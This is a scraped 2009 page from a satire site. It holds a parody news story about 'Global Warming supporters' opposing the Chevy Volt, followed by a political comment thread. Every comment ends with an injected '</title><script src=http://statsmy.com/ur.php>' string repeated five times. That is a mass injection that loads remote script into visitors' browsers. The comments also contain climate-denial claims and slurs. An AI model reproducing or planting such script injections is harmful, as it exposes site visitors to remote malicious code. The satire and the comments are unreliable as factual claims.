Fun Infused Games  |   Evil Scale  |   Wellplayed.net  |   KrisSteele.net  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
x
Logon
Register
     
x
     
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
Global Warming Supporters Call for End to 230 mpg Chevy Volt
by Kris on 8/11/2009 (7)



The car you'll love to hate.
Detroit, Michigan - The recent announcement by General Motors that its new Chevrolet Volt electric car is expected to get 230 miles per gallon in the city and triple digit mileage on the highway has supporters of Global Warming up in arms, calling for an immediate end to production of the car and execution of all employees associated with its development.

"How are we supposed to warm up the Earth with insane gas mileage like that," said Tom Brown, avid hater of the environment and supporter of Global Warming. Brown is especially interested in Global Warming due to his purchase of billions of acres of Nevada desert, which he believes will one day be oceanfront property due to rising sea levels causes by Global Warming. He also hates penguins due to a property dispute with one especially boisterous bird four years ago and hopes Earth's rising temperature level will kill them all sooner rather than later (which it probably will).

Every day people like Brown unnecessarily drive hundreds of miles to destinations they don't need to reach for the sole purpose of creating more carbon dioxide, one of the main contributors to Global Warming. The really dedicated anti-environmentalists also pull boats, trailer homes, or overweight movie stars. The fear by Global Warming supporters is that by reducing carbon emissions of vehicles, the effects of Global Warming could be slowed or even reversed.

"Imagine a world where each day is 1 to 3 degrees cooler, where the air is safe to breath, and thousands of species of plants and animals are not becoming extinct," Mario Jenkins, President of Citizens for Global Warming (CGW), told Smooth Operator in an interview earlier last week that we're only talking about now in an ironically related story. "The horrors of such a world are unimaginable... zombies roaming the land, fire raining down from the sky, new episodes of the Chevy Chase show... I soiled myself just thinking about it."

In a press release earlier today, CGW has promised to burn any GM dealership to the ground that sells the Volt vehicles and give the "evil eye" to any consumer who purchases one.

Fritz Henderson, GM's chief executive, is hopeful that GM can rise from the ashes of bankruptcy and be profitable by 2011. The Chevy Volt is a cornerstone in these plans and they appear ready to release the car even amidst a public relations backlash from a group clearly crazy enough to do something really stupid in retaliation.

"We at GM understand that our core customers hate the environment and always will," Henderson said. "That's why we've made giant SUVs that burn more fuel than the space shuttle for the past two decades. Unfortunately times have changed and government regulations no longer permit us to recklessly attack the environment in such an obvious way. Rest assured though that even though we cannot directly harm the environment through CO2 emissions anymore, our engineers are hard at work to find better and even more destructive ways to bring Mother Nature to her knees."


Wellplayed.net


page has been viewed 8280 times


 
Comments

1. by Motz on 8/11/2009 6:37:47 PM
I'm currently employed in Lithium-Polymer battery research, and the reason that the Volt recently emerged is because the big, car sized lith-pol batteries kept blowing up prior to 2005. Deadly explosions.

People bought big SUV's because small cars didn't sell. Car buyers snubbed small chassis cars, which emerged during the Carter administration in the 70's, so auto makers responded with big cars in order to survive.

Blame the dumb public. Clean technology is not a gimme, like a-hole libtards want it to be, and global warming is just a theory, and is probably not true, so there was never a need for urgency.

So there </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Motz, not done venting yet on 8/11/2009 6:45:21 PM
Furthermore, all of the big wind farms built in the U.S. were built in the Bush years, 2002-2008, and were built with Bush grants. Obama has nothing to do with wind power.

Wind power is a Bush baby! sr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by p.s. on 8/11/2009 6:46:25 PM
so there!isplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Kris on 8/11/2009 10:33:33 PM
Bush nor liberals or dumb consumers deserve credit for increased windpower or more fuel efficient vehicles. The credit really goes to exploding gas prices. I'm sure that if we cared, we could have had these battery technologies years (decades?) ago but gas was cheap and big vehicles were in.nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Motz on 8/11/2009 11:30:54 PM
Following the Arab oil embargo, and long gas lines in 1976, big cars became matchboxes, especially former muscle cars like the Challenger, and the public blanched. People don't like small vehicles. They are unsafe, and lack prestige.

Lithium-poly battery technology was born in the 70's. and it has taken 30 years of dedicated research to make them safe. They have a nagging tendency to catch fire and burn.

Give the scientists a chance to invent safe batteries. It takes time and money. There are no quantam leaps in technology, unless we find an alien spacecraft. in 1909, most people were still riding in a horse and buggy, you knaowon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Motz on 8/11/2009 11:31:04 PM
Following the Arab oil embargo, and long gas lines in 1976, big cars became matchboxes, especially former muscle cars like the Challenger, and the public blanched. People don't like small vehicles. They are unsafe, and lack prestige.

Lithium-poly battery technology was born in the 70's. and it has taken 30 years of dedicated research to make them safe. They have a nagging tendency to catch fire and burn.

Give the scientists a chance to invent safe batteries. It takes time and money. There are no quantam leaps in technology, unless we find an alien spacecraft. in 1909, most people were still riding in a horse and buggy, you knaowon </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Al Gore on 8/12/2009 2:50:40 AM
Just listen to us. We are wondering what "causes" weather? Since we don't know, why blame humans? Nature has evolved through much much worse so don't tell us this has never happened before? Have we gone back 2000 years in our thinking? Nature is in charge, not us. Our effect is like passing gas in a tornado. We can't drive a tornado away or control weather or control temperatures of planets and to believe we can is criminal to any modern progressive civilized human being.
Let's preserve, not SAVE. Life is good. Stop this silly fear mongering because this global warming theory is not sustainable for another 23 years. The theory predicts the end of “life as we know it” so why would you jump on this boat load of misery and keep riding it like an obedient sheep? Keep up with this lie and the next generation, and or history will view Al Gore as the Bernie Madoff of climate change, not to mention you teachers, and you consultants posing in white lab coats calling yourselves scientists. Corporate media and politicians are doing what they always do, selling fear.
Stop this childish and silly alarmism, stop scaring my kids by denying them futures and stop this irresponsible CO2 environMENTALism. At least for our kids sake.
nem </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


Name
Comment
Verify
What animal is this a picture of?


x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
 
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].



x
 
 
 


 
x

BetUS.com
 

 
x

More referrals |  Add Site
 

 
Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  
 

HumorFeed




Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy